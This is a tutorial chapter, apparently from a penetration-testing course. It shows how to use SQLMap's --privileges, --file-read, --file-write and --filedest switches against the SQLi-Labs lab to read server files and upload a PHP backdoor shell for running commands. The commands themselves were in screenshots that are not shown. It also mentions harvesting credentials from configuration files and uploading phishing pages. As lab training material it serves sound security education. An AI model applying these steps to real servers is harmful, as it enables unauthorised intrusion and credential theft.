These days, DBMS systems provide many facilities, one of which includes the ability to read and write files from the file system. In this chapter, we will learn, how to read and write files from SQLi-Labs.
Checking privileges
Before proceeding further, our first priority is to check whether the running back-end DBMS user has FILE privileges or not.
To get this we'll use the --privileges switch in SQLMap. Using the previous error-based example, let us first check if the database user has FILE privileges or not.
The output is shown below:
As highlighted in the preceding screenshot, you can see that the user has FILE privileges available, and we can utilize this to read/write files from the injection if the file system permissions allow this.
Remember: MySQL runs a separate user account to read/write files to the file system in Linux, so there will be a problem while retrieving data.
Reading files
Let's try to read a common file under xampp servers called "index.php", which can be found in within c:\xampp\htdocs.
.png)
As you noticed, this is the file path of the index.php file highlighted in red color.
We'll use the --file-read switch in SQLMap followed by the full path of the file we want to download.
Now type y to download the mentioned file.
SQLMap successfully reads the file and saves it for later usage. You can read this saved file using any text editor.
.png)
Reading files from SQLMap can be truly beneficial, sometimes we can get direct database credentials from configuration files of a web application; generally, for popular applications, the location of the configuration file is widely known.
Writing files
We just saw how to read a file with SQLMap. Now, let's discuss the file-writing capability of SQLMap. As I previously mentioned, if we have proper write access to a directory on the target server then we can successfully upload or write a file.
SQLMap provides the --file-write <followed by the location of the local file to upload>,
and the --filedest <followed by the location of the file to write>, on
the target server.
For purposes of demonstration, I've created a file locally at /home/kali/test with the content “hello world!”,
.png)
and will upload it to the target's c:\xampp\htdocs\test.html folder as follows:
The output is shown below:
As reported by SQLMap, we have successfully uploaded the file to the c:\xampp\htdocs folder of the xampp server. Let's verify that from a browser.
.png)
Sweet! The file is now live. Going one step ahead, let us upload a PHP one-liner backdoor shell through SQLMap.
Use the below command to copy the simple-backdoor.php file to the kali home directory.
.png)
In order to work properly, you have to edit some values of the "shell.php" file using a text editor:
- Change the Request value to GET and Save it.
.png)
Now use the following command to upload this file to c:\xampp\htdocs\.
The output is shown below:
SQLMap reports that the upload is successful. Let's try to
access the command shell and execute a few Windows commands like ipconfig, whoami, dir, and many more.
This is the usage URL:
.png)
Let's execute commands similar to given the usage:
.png)
Fantastic, we have shell access to the server. The writing
file capability comes in very handy when uploading backdoor shells, phishing
pages, and so on. Keep in mind that if there is an injection into a get parameter,
then the maximum length of the file should be less than the size length
of the URL accepted by the web server.
For Apache HTTPd, the default maximum URL length is 8 kilobytes, so files less than that can be uploaded with this trick. Although penetration testers typically upload a small PHP script in the document root of the web server it provides the functionality to upload more files to bypass the URL length limitation.
